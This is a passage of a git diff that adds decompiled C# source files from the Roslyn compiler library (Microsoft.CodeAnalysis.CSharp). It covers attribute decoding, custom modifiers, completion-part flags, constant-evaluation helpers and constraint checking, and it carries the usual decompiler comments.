val)).Kind == 2) ? ((TypedConstant)(ref val)).DecodeValue((SpecialType)2) : ((ComInterfaceType)((TypedConstant)(ref val)).DecodeValue((SpecialType)11))); + if ((uint)comInterfaceType > 3u) + { + CSharpSyntaxNode attributeArgumentSyntax = ((AttributeData)(object)this).GetAttributeArgumentSyntax(0, node); + diagnostics.Add(ErrorCode.ERR_InvalidAttributeArgument, ((SyntaxNode)attributeArgumentSyntax).Location, node.GetErrorDisplayName()); + } + } + + internal string DecodeGuidAttribute(AttributeSyntax? nodeOpt, BindingDiagnosticBag diagnostics) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + TypedConstant val = ((AttributeData)this).CommonConstructorArguments[0]; + string text = (string)((TypedConstant)(ref val)).ValueInternal; + if (!Guid.TryParseExact(text, "D", out var _)) + { + Location attributeArgumentSyntaxLocation = ((AttributeData)(object)this).GetAttributeArgumentSyntaxLocation(0, nodeOpt); + diagnostics.Add(ErrorCode.ERR_InvalidAttributeArgument, attributeArgumentSyntaxLocation, (nodeOpt != null) ? nodeOpt.GetErrorDisplayName() : ""); + text = string.Empty; + } + return text; + } + + internal CollectionBuilderAttributeData DecodeCollectionBuilderAttribute() + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + TypedConstant val = ((AttributeData)this).CommonConstructorArguments[0]; + TypeSymbol builderType = (TypeSymbol)((TypedConstant)(ref val)).ValueInternal; + val = ((AttributeData)this).CommonConstructorArguments[1]; + string methodName = (string)((TypedConstant)(ref val)).ValueInternal; + return new CollectionBuilderAttributeData(builderType, methodName); + } + + private protected sealed override bool IsStringProperty(string memberName) + { + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Invalid comparison between Unknown and I4 + if ((object)AttributeClass != null) + { + ImmutableArray.Enumerator enumerator = AttributeClass.GetMembers(memberName).GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current is PropertySymbol { Type: { } type } && (int)type.SpecialType == 20) + { + return true; + } + } + } + return false; + } + + internal bool ShouldEmitAttribute(Symbol target, bool isReturnType, bool emittingAssemblyAttributesInNetModule) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Expected I4, but got Unknown + //IL_00cc: Unknown result type (might be due to invalid IL or missing references) + //IL_00df: Unknown result type (might be due to invalid IL or missing references) + //IL_018b: Unknown result type (might be due to invalid IL or missing references) + //IL_01e4: Unknown result type (might be due to invalid IL or missing references) + //IL_022c: Unknown result type (might be due to invalid IL or missing references) + //IL_00ab: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_00ed: Unknown result type (might be due to invalid IL or missing references) + //IL_0132: Unknown result type (might be due to invalid IL or missing references) + //IL_011f: Unknown result type (might be due to invalid IL or missing references) + //IL_0199: Unknown result type (might be due to invalid IL or missing references) + //IL_01f2: Unknown result type (might be due to invalid IL or missing references) + //IL_023a: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_00fb: Unknown result type (might be due to invalid IL or missing references) + //IL_0140: Unknown result type (might be due to invalid IL or missing references) + //IL_01a7: Unknown result type (might be due to invalid IL or missing references) + //IL_0200: Unknown result type (might be due to invalid IL or missing references) + //IL_0248: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0109: Unknown result type (might be due to invalid IL or missing references) + //IL_014e: Unknown result type (might be due to invalid IL or missing references) + //IL_01b5: Unknown result type (might be due to invalid IL or missing references) + //IL_020e: Unknown result type (might be due to invalid IL or missing references) + //IL_0256: Unknown result type (might be due to invalid IL or missing references) + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + //IL_015c: Unknown result type (might be due to invalid IL or missing references) + //IL_01c3: Unknown result type (might be due to invalid IL or missing references) + //IL_021c: Unknown result type (might be due to invalid IL or missing references) + //IL_0264: Unknown result type (might be due to invalid IL or missing references) + //IL_016a: Unknown result type (might be due to invalid IL or missing references) + //IL_0272: Unknown result type (might be due to invalid IL or missing references) + if (((AttributeData)this).HasErrors) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Attributes/AttributeData.cs", 700); + } + if (((AttributeData)this).IsConditionallyOmitted) + { + return false; + } + SymbolKind kind = target.Kind; + switch (kind - 2) + { + case 0: + if ((!emittingAssemblyAttributesInNetModule && (IsTargetAttribute(target, AttributeDescription.AssemblyCultureAttribute) || IsTargetAttribute(target, AttributeDescription.AssemblyVersionAttribute) || IsTargetAttribute(target, AttributeDescription.AssemblyFlagsAttribute) || IsTargetAttribute(target, AttributeDescription.AssemblyAlgorithmIdAttribute))) || IsTargetAttribute(target, AttributeDescription.TypeForwardedToAttribute) || IsSecurityAttribute(target.DeclaringCompilation)) + { + return false; + } + break; + case 3: + if (IsTargetAttribute(target, AttributeDescription.SpecialNameAttribute)) + { + return false; + } + break; + case 4: + if (IsTargetAttribute(target, AttributeDescription.SpecialNameAttribute) || IsTargetAttribute(target, AttributeDescription.NonSerializedAttribute) || IsTargetAttribute(target, AttributeDescription.FieldOffsetAttribute) || IsTargetAttribute(target, AttributeDescription.MarshalAsAttribute)) + { + return false; + } + break; + case 7: + if (isReturnType) + { + if (IsTargetAttribute(target, AttributeDescription.MarshalAsAttribute)) + { + return false; + } + } + else if (IsTargetAttribute(target, AttributeDescription.SpecialNameAttribute) || IsTargetAttribute(target, AttributeDescription.MethodImplAttribute) || IsTargetAttribute(target, AttributeDescription.DllImportAttribute) || IsTargetAttribute(target, AttributeDescription.PreserveSigAttribute) || IsTargetAttribute(target, AttributeDescription.DynamicSecurityMethodAttribute) || IsSecurityAttribute(target.DeclaringCompilation)) + { + return false; + } + break; + case 9: + if (IsTargetAttribute(target, AttributeDescription.SpecialNameAttribute) || IsTargetAttribute(target, AttributeDescription.ComImportAttribute) || IsTargetAttribute(target, AttributeDescription.SerializableAttribute) || IsTargetAttribute(target, AttributeDescription.StructLayoutAttribute) || IsTargetAttribute(target, AttributeDescription.WindowsRuntimeImportAttribute) || IsSecurityAttribute(target.DeclaringCompilation)) + { + return false; + } + break; + case 11: + if (IsTargetAttribute(target, AttributeDescription.OptionalAttribute) || IsTargetAttribute(target, AttributeDescription.DefaultParameterValueAttribute) || IsTargetAttribute(target, AttributeDescription.InAttribute) || IsTargetAttribute(target, AttributeDescription.OutAttribute) || IsTargetAttribute(target, AttributeDescription.MarshalAsAttribute)) + { + return false; + } + break; + case 13: + if (IsTargetAttribute(target, AttributeDescription.IndexerNameAttribute) || IsTargetAttribute(target, AttributeDescription.SpecialNameAttribute) || IsTargetAttribute(target, AttributeDescription.DisallowNullAttribute) || IsTargetAttribute(target, AttributeDescription.AllowNullAttribute) || IsTargetAttribute(target, AttributeDescription.MaybeNullAttribute) || IsTargetAttribute(target, AttributeDescription.NotNullAttribute)) + { + return false; + } + break; + } + return true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/CSharpCustomModifier.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/CSharpCustomModifier.cs new file mode 100644 index 0000000..c9bd9f3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/CSharpCustomModifier.cs @@ -0,0 +1,121 @@ +using System; +using System.Collections.Immutable; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class CSharpCustomModifier : CustomModifier, ICustomModifier +{ + private class OptionalCustomModifier : CSharpCustomModifier + { + public override bool IsOptional => true; + + public OptionalCustomModifier(NamedTypeSymbol modifier) + : base(modifier) + { + } + + public override int GetHashCode() + { + return modifier.GetHashCode(); + } + + public override bool Equals(object obj) + { + if (this == obj) + { + return true; + } + if (obj is OptionalCustomModifier optionalCustomModifier) + { + return optionalCustomModifier.modifier.Equals(modifier); + } + return false; + } + } + + private class RequiredCustomModifier : CSharpCustomModifier + { + public override bool IsOptional => false; + + public RequiredCustomModifier(NamedTypeSymbol modifier) + : base(modifier) + { + } + + public override int GetHashCode() + { + return modifier.GetHashCode(); + } + + public override bool Equals(object obj) + { + if (this == obj) + { + return true; + } + if (obj is RequiredCustomModifier requiredCustomModifier) + { + return requiredCustomModifier.modifier.Equals(modifier); + } + return false; + } + } + + protected readonly NamedTypeSymbol modifier; + + bool ICustomModifier.IsOptional => ((CustomModifier)this).IsOptional; + + public override INamedTypeSymbol Modifier => modifier.GetPublicSymbol(); + + public NamedTypeSymbol ModifierSymbol => modifier; + + ITypeReference ICustomModifier.GetModifier(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + return (ITypeReference)(object)((PEModuleBuilder)(object)context.Module).Translate(ModifierSymbol, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics); + } + + private CSharpCustomModifier(NamedTypeSymbol modifier) + { + this.modifier = modifier; + } + + public abstract override int GetHashCode(); + + public abstract override bool Equals(object obj); + + internal static CustomModifier CreateOptional(NamedTypeSymbol modifier) + { + return (CustomModifier)(object)new OptionalCustomModifier(modifier); + } + + internal static CustomModifier CreateRequired(NamedTypeSymbol modifier) + { + return (CustomModifier)(object)new RequiredCustomModifier(modifier); + } + + internal static ImmutableArray Convert(ImmutableArray> customModifiers) + { + if (customModifiers.IsDefault) + { + return ImmutableArray.Empty; + } + return ImmutableArrayExtensions.SelectAsArray, CustomModifier>(customModifiers, (Func, CustomModifier>)Convert); + } + + private static CustomModifier Convert(ModifierInfo customModifier) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)customModifier.Modifier; + if (!customModifier.IsOptional) + { + return CreateRequired(namedTypeSymbol); + } + return CreateOptional(namedTypeSymbol); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/CollectionBuilderAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/CollectionBuilderAttributeData.cs new file mode 100644 index 0000000..8c6608d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/CollectionBuilderAttributeData.cs @@ -0,0 +1,16 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class CollectionBuilderAttributeData +{ + public static readonly CollectionBuilderAttributeData Uninitialized = new CollectionBuilderAttributeData(null, null); + + public readonly TypeSymbol? BuilderType; + + public readonly string? MethodName; + + public CollectionBuilderAttributeData(TypeSymbol? builderType, string? methodName) + { + BuilderType = builderType; + MethodName = methodName; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/CompletionPart.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/CompletionPart.cs new file mode 100644 index 0000000..3b4dd85 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/CompletionPart.cs @@ -0,0 +1,65 @@ +using System; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +[Flags] +internal enum CompletionPart +{ + None = 0, + Attributes = 1, + ReturnTypeAttributes = 2, + Parameters = 4, + Type = 8, + StartBaseType = 0x10, + FinishBaseType = 0x20, + StartInterfaces = 0x40, + FinishInterfaces = 0x80, + EnumUnderlyingType = 0x100, + TypeArguments = 0x200, + TypeParameters = 0x400, + Members = 0x800, + TypeMembers = 0x1000, + SynthesizedExplicitImplementations = 0x2000, + StartMemberChecks = 0x4000, + FinishMemberChecks = 0x8000, + MembersCompletedChecksStarted = 0x10000, + MembersCompleted = 0x20000, + All = 0x3FFFF, + NamedTypeSymbolWithLocationAll = 0xFFF1, + NamedTypeSymbolAll = 0x3FFF1, + StartValidatingImports = 0x10, + FinishValidatingImports = 0x20, + ImportsAll = 0x30, + NameToMembersMap = 0x800, + NamespaceSymbolAll = 0x20800, + FixedSize = 0x800, + ConstantValue = 0x1000, + FieldSymbolAll = 0x1809, + StartAsyncMethodChecks = 0x800, + FinishAsyncMethodChecks = 0x1000, + StartMethodChecks = 0x2000, + FinishMethodChecks = 0x4000, + MethodSymbolAll = 0x7C0F, + StartDefaultSyntaxValue = 0x800, + EndDefaultSyntaxValue = 0x1000, + EndDefaultSyntaxValueDiagnostics = 0x2000, + ComplexParameterSymbolAll = 0x3801, + TypeParameterConstraints = 0x800, + TypeParameterSymbolAll = 0x801, + StartPropertyEnsureSignature = 0x10, + FinishPropertyEnsureSignature = 0x20, + StartPropertyParameters = 0x40, + FinishPropertyParameters = 0x80, + StartPropertyType = 0x100, + FinishPropertyType = 0x200, + PropertySymbolAll = 0x3F1, + AliasTarget = 0x10, + StartAttributeChecks = 0x10, + FinishAttributeChecks = 0x20, + Module = 0x40, + StartValidatingAddedModules = 0x100, + FinishValidatingAddedModules = 0x200, + AssemblySymbolAll = 0x371, + StartValidatingReferencedAssemblies = 0x10, + FinishValidatingReferencedAssemblies = 0x20 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ConstantEvaluationHelpers.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ConstantEvaluationHelpers.cs new file mode 100644 index 0000000..816af88 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ConstantEvaluationHelpers.cs @@ -0,0 +1,229 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Linq; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal static class ConstantEvaluationHelpers +{ + [DebuggerDisplay("{GetDebuggerDisplay(), nq}")] + internal readonly struct FieldInfo(SourceFieldSymbolWithSyntaxReference field, bool startsCycle) + { + public readonly SourceFieldSymbolWithSyntaxReference Field = field; + + public readonly bool StartsCycle = startsCycle; + + private string GetDebuggerDisplay() + { + string text = Field.ToString(); + if (StartsCycle) + { + text += " [cycle]"; + } + return text; + } + } + + private struct Node where T : class + { + public ImmutableHashSet Dependencies; + + public ImmutableHashSet DependedOnBy; + } + + internal static void OrderAllDependencies(this SourceFieldSymbolWithSyntaxReference field, ArrayBuilder order, bool earlyDecodingWellKnownAttributes) + { + PooledDictionary> instance = PooledDictionary>.GetInstance(); + CreateGraph((Dictionary>)(object)instance, field, earlyDecodingWellKnownAttributes); + OrderGraph((Dictionary>)(object)instance, order); + instance.Free(); + } + + private static void CreateGraph(Dictionary> graph, SourceFieldSymbolWithSyntaxReference field, bool earlyDecodingWellKnownAttributes) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilderExtensions.Push(instance, field); + while (instance.Count > 0) + { + field = ArrayBuilderExtensions.Pop(instance); + if (graph.TryGetValue(field, out var value)) + { + if (value.Dependencies != null) + { + continue; + } + } + else + { + value = new Node + { + DependedOnBy = ImmutableHashSet.Empty + }; + } + ImmutableHashSet immutableHashSet = (value.Dependencies = field.GetConstantValueDependencies(earlyDecodingWellKnownAttributes)); + graph[field] = value; + foreach (SourceFieldSymbolWithSyntaxReference item in immutableHashSet) + { + ArrayBuilderExtensions.Push(instance, item); + if (!graph.TryGetValue(item, out value)) + { + value = new Node + { + DependedOnBy = ImmutableHashSet.Empty + }; + } + value.DependedOnBy = value.DependedOnBy.Add(field); + graph[item] = value; + } + } + instance.Free(); + } + + private static void OrderGraph(Dictionary> graph, ArrayBuilder order) + { + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_0119: Unknown result type (might be due to invalid IL or missing references) + //IL_011e: Unknown result type (might be due to invalid IL or missing references) + PooledHashSet val = null; + ArrayBuilder fieldsInvolvedInCycles = null; + while (graph.Count > 0) + { + IEnumerable enumerable = (IEnumerable)val; + IEnumerable obj = enumerable ?? graph.Keys; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + foreach (SourceFieldSymbolWithSyntaxReference item in obj) + { + if (graph.TryGetValue(item, out var value) && value.Dependencies.Count == 0) + { + instance.Add(item); + } + } + val?.Free(); + val = null; + if (instance.Count > 0) + { + PooledHashSet instance2 = PooledHashSet.GetInstance(); + Enumerator enumerator2 = instance.GetEnumerator(); + while (enumerator2.MoveNext()) + { + SourceFieldSymbolWithSyntaxReference current2 = enumerator2.Current; + foreach (SourceFieldSymbolWithSyntaxReference item2 in graph[current2].DependedOnBy) + { + Node value2 = graph[item2]; + value2.Dependencies = value2.Dependencies.Remove(current2); + graph[item2] = value2; + ((HashSet)(object)instance2).Add(item2); + } + graph.Remove(current2); + } + enumerator2 = instance.GetEnumerator(); + while (enumerator2.MoveNext()) + { + SourceFieldSymbolWithSyntaxReference current4 = enumerator2.Current; + order.Add(new FieldInfo(current4, startsCycle: false)); + } + val = instance2; + } + else + { + SourceFieldSymbolWithSyntaxReference startOfFirstCycle = GetStartOfFirstCycle(graph, ref fieldsInvolvedInCycles); + foreach (SourceFieldSymbolWithSyntaxReference dependency in graph[startOfFirstCycle].Dependencies) + { + Node value3 = graph[dependency]; + value3.DependedOnBy = value3.DependedOnBy.Remove(startOfFirstCycle); + graph[dependency] = value3; + } + Node node = graph[startOfFirstCycle]; + PooledHashSet instance3 = PooledHashSet.GetInstance(); + foreach (SourceFieldSymbolWithSyntaxReference item3 in node.DependedOnBy) + { + Node value4 = graph[item3]; + value4.Dependencies = value4.Dependencies.Remove(startOfFirstCycle); + graph[item3] = value4; + ((HashSet)(object)instance3).Add(item3); + } + graph.Remove(startOfFirstCycle); + order.Add(new FieldInfo(startOfFirstCycle, startsCycle: true)); + val = instance3; + } + instance.Free(); + } + val?.Free(); + fieldsInvolvedInCycles?.Free(); + } + + private static SourceFieldSymbolWithSyntaxReference GetStartOfFirstCycle(Dictionary> graph, ref ArrayBuilder fieldsInvolvedInCycles) + { + if (fieldsInvolvedInCycles == null) + { + fieldsInvolvedInCycles = ArrayBuilder.GetInstance(graph.Count); + fieldsInvolvedInCycles.AddRange((from f in graph.Keys + group f by f.DeclaringCompilation).SelectMany((IGrouping g) => EnumerableExtensions.OrderByDescending((IEnumerable)g, (Comparison)((SourceFieldSymbolWithSyntaxReference f1, SourceFieldSymbolWithSyntaxReference f2) => ((Compilation)g.Key).CompareSourceLocations(f1.ErrorLocation, f2.ErrorLocation))))); + } + SourceFieldSymbolWithSyntaxReference sourceFieldSymbolWithSyntaxReference; + do + { + sourceFieldSymbolWithSyntaxReference = ArrayBuilderExtensions.Pop(fieldsInvolvedInCycles); + } + while (!graph.ContainsKey(sourceFieldSymbolWithSyntaxReference) || !IsPartOfCycle(graph, sourceFieldSymbolWithSyntaxReference)); + return sourceFieldSymbolWithSyntaxReference; + } + + private static bool IsPartOfCycle(Dictionary> graph, SourceFieldSymbolWithSyntaxReference field) + { + PooledHashSet instance = PooledHashSet.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + SourceFieldSymbolWithSyntaxReference item = field; + bool result = false; + ArrayBuilderExtensions.Push(instance2, field); + while (instance2.Count > 0) + { + field = ArrayBuilderExtensions.Pop(instance2); + Node node = graph[field]; + if (node.Dependencies.Contains(item)) + { + result = true; + break; + } + foreach (SourceFieldSymbolWithSyntaxReference dependency in node.Dependencies) + { + if (((HashSet)(object)instance).Add(dependency)) + { + ArrayBuilderExtensions.Push(instance2, dependency); + } + } + } + instance2.Free(); + instance.Free(); + return result; + } + + [Conditional("DEBUG")] + private static void CheckGraph(Dictionary> graph) + { + int num = 10; + foreach (KeyValuePair> item in graph) + { + _ = item.Key; + Node value = item.Value; + foreach (SourceFieldSymbolWithSyntaxReference dependency in value.Dependencies) + { + graph.TryGetValue(dependency, out var _); + } + foreach (SourceFieldSymbolWithSyntaxReference item2 in value.DependedOnBy) + { + graph.TryGetValue(item2, out var _); + } + num--; + if (num == 0) + { + break; + } + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ConstantValueUtils.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ConstantValueUtils.cs new file mode 100644 index 0000000..21852a2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ConstantValueUtils.cs @@ -0,0 +1,98 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal static class ConstantValueUtils +{ + private sealed class CheckConstantInterpolatedStringValidity : BoundTreeWalkerWithStackGuardWithoutRecursionOnTheLeftOfBinaryOperator + { + internal readonly BindingDiagnosticBag diagnostics; + + public CheckConstantInterpolatedStringValidity(BindingDiagnosticBag diagnostics) + { + this.diagnostics = diagnostics; + } + + public override BoundNode VisitInterpolatedString(BoundInterpolatedString node) + { + Binder.CheckFeatureAvailability(node.Syntax, MessageID.IDS_FeatureConstantInterpolatedStrings, diagnostics); + return null; + } + } + + public static ConstantValue EvaluateFieldConstant(SourceFieldSymbol symbol, EqualsValueClauseSyntax equalsValueNode, HashSet dependencies, bool earlyDecodingWellKnownAttributes, BindingDiagnosticBag diagnostics) + { + Binder binder = symbol.DeclaringCompilation.GetBinderFactory(equalsValueNode.SyntaxTree).GetBinder((SyntaxNode)(object)equalsValueNode); + binder = new WithPrimaryConstructorParametersBinder(symbol.ContainingType, binder); + if (earlyDecodingWellKnownAttributes) + { + binder = new EarlyWellKnownAttributeBinder(binder); + } + return GetAndValidateConstantValue(BindFieldOrEnumInitializer(new ConstantFieldsInProgressBinder(new ConstantFieldsInProgress(symbol, dependencies), binder), symbol, equalsValueNode, diagnostics).Value, symbol, symbol.Type, (SyntaxNode)(object)equalsValueNode.Value, diagnostics); + } + + private static BoundFieldEqualsValue BindFieldOrEnumInitializer(Binder binder, FieldSymbol fieldSymbol, EqualsValueClauseSyntax initializer, BindingDiagnosticBag diagnostics) + { + SourceEnumConstantSymbol sourceEnumConstantSymbol = fieldSymbol as SourceEnumConstantSymbol; + Binder next = new LocalScopeBinder(binder); + next = new ExecutableCodeBinder((SyntaxNode)(object)initializer, fieldSymbol, next); + if ((object)sourceEnumConstantSymbol != null) + { + return next.BindEnumConstantInitializer(sourceEnumConstantSymbol, initializer, diagnostics); + } + return next.BindFieldInitializer(fieldSymbol, initializer, diagnostics); + } + + internal static ConstantValue GetAndValidateConstantValue(BoundExpression boundValue, Symbol thisSymbol, TypeSymbol typeSymbol, SyntaxNode initValueNode, BindingDiagnosticBag diagnostics) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Invalid comparison between Unknown and I4 + //IL_00a7: Unknown result type (might be due to invalid IL or missing references) + //IL_00ae: Invalid comparison between Unknown and I4 + ConstantValue result = ConstantValue.Bad; + CheckLangVersionForConstantValue(boundValue, diagnostics); + if (!boundValue.HasAnyErrors) + { + if ((int)typeSymbol.TypeKind == 11) + { + diagnostics.Add(ErrorCode.ERR_InvalidConstantDeclarationType, initValueNode.Location, thisSymbol, typeSymbol); + } + else + { + bool flag = false; + BoundExpression boundExpression = boundValue; + while (boundExpression.Kind == BoundKind.Conversion) + { + BoundConversion boundConversion = (BoundConversion)boundExpression; + flag = flag || boundConversion.ConversionKind.IsDynamic(); + boundExpression = boundConversion.Operand; + } + ConstantValue val = boundValue.ConstantValueOpt; + ConstantValue constantValueOpt = boundExpression.ConstantValueOpt; + if (constantValueOpt != (ConstantValue)null && !constantValueOpt.IsNull && typeSymbol.IsReferenceType && (int)typeSymbol.SpecialType != 20) + { + diagnostics.Add(ErrorCode.ERR_NotNullConstRefField, initValueNode.Location, thisSymbol, typeSymbol); + val = val ?? constantValueOpt; + } + if (val != (ConstantValue)null && !flag) + { + result = val; + } + else + { + diagnostics.Add(ErrorCode.ERR_NotConstantExpression, initValueNode.Location, thisSymbol); + } + } + } + return result; + } + + internal static void CheckLangVersionForConstantValue(BoundExpression expression, BindingDiagnosticBag diagnostics) + { + if ((object)expression.Type != null && expression.Type.IsStringType()) + { + new CheckConstantInterpolatedStringValidity(diagnostics).Visit(expression); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ConstraintsHelper.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ConstraintsHelper.cs new file mode 100644 index 0000000..ba5caa1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ConstraintsHelper.cs @@ -0,0 +1,1199 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Linq; +using System.Runtime.CompilerServices; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal static class ConstraintsHelper +{ + internal readonly struct CheckConstraintsArgs + { + public readonly CSharpCompilation CurrentCompilation; + + public readonly ConversionsBase Conversions; + + public readonly bool IncludeNullability; + + public readonly Location Location; + + public readonly BindingDiagnosticBag Diagnostics; + + public readonly CompoundUseSiteInfo Template; + + public CheckConstraintsArgs(CSharpCompilation currentCompilation, ConversionsBase conversions, Location location, BindingDiagnosticBag diagnostics) + : this(currentCompilation, conversions, currentCompilation.IsFeatureEnabled(MessageID.IDS_FeatureNullableReferenceTypes), location, diagnostics) + { + } + + public CheckConstraintsArgs(CSharpCompilation currentCompilation, ConversionsBase conversions, bool includeNullability, Location location, BindingDiagnosticBag diagnostics) + : this(currentCompilation, conversions, includeNullability, location, diagnostics, new CompoundUseSiteInfo((BindingDiagnosticBag)(object)diagnostics, currentCompilation.Assembly)) + { + }//IL_0010: Unknown result type (might be due to invalid IL or missing references) + + + public CheckConstraintsArgs(CSharpCompilation currentCompilation, ConversionsBase conversions, bool includeNullability, Location location, BindingDiagnosticBag diagnostics, CompoundUseSiteInfo template) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + CurrentCompilation = currentCompilation; + Conversions = conversions; + IncludeNullability = includeNullability; + Location = location; + Diagnostics = diagnostics; + Template = template; + } + } + + internal sealed class CheckConstraintsArgsBoxed + { + public CheckConstraintsArgs Args; + + [MethodImpl(MethodImplOptions.NoInlining)] + public static CheckConstraintsArgsBoxed Allocate(CSharpCompilation currentCompilation, ConversionsBase conversions, Location location, BindingDiagnosticBag diagnostics) + { + CheckConstraintsArgsBoxed checkConstraintsArgsBoxed = s_checkConstraintsArgsBoxedPool.Allocate(); + checkConstraintsArgsBoxed.Args = new CheckConstraintsArgs(currentCompilation, conversions, location, diagnostics); + return checkConstraintsArgsBoxed; + } + + [MethodImpl(MethodImplOptions.NoInlining)] + public static CheckConstraintsArgsBoxed Allocate(CSharpCompilation currentCompilation, ConversionsBase conversions, bool includeNullability, Location location, BindingDiagnosticBag diagnostics) + { + CheckConstraintsArgsBoxed checkConstraintsArgsBoxed = s_checkConstraintsArgsBoxedPool.Allocate(); + checkConstraintsArgsBoxed.Args = new CheckConstraintsArgs(currentCompilation, conversions, includeNullability, location, diagnostics); + return checkConstraintsArgsBoxed; + } + + public void Free() + { + Args = default(CheckConstraintsArgs); + s_checkConstraintsArgsBoxedPool.Free(this); + } + } + + private enum ConstructorConstraintError + { + None, + NoPublicParameterlessConstructorOrAbstractType, + HasRequiredMembers + } + + private static readonly ObjectPool s_checkConstraintsArgsBoxedPool = new ObjectPool((Factory)(() => new CheckConstraintsArgsBoxed()), true); + + private static readonly Func s_checkConstraintsSingleTypeFunc = (TypeSymbol type, CheckConstraintsArgsBoxed arg, bool unused) => CheckConstraintsSingleType(type, in arg.Args); + + public static TypeParameterBounds ResolveBounds(this TypeParameterSymbol typeParameter, AssemblySymbol corLibrary, ConsList inProgress, ImmutableArray constraintTypes, bool inherited, CSharpCompilation currentCompilation, BindingDiagnosticBag diagnostics) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder useSiteDiagnosticsBuilder = null; + TypeParameterBounds result = typeParameter.ResolveBounds(corLibrary, inProgress, constraintTypes, inherited, currentCompilation, instance, ref useSiteDiagnosticsBuilder, new CompoundUseSiteInfo((BindingDiagnosticBag)(object)diagnostics, currentCompilation.Assembly)); + if (useSiteDiagnosticsBuilder != null) + { + instance.AddRange(useSiteDiagnosticsBuilder); + } + Enumerator enumerator = 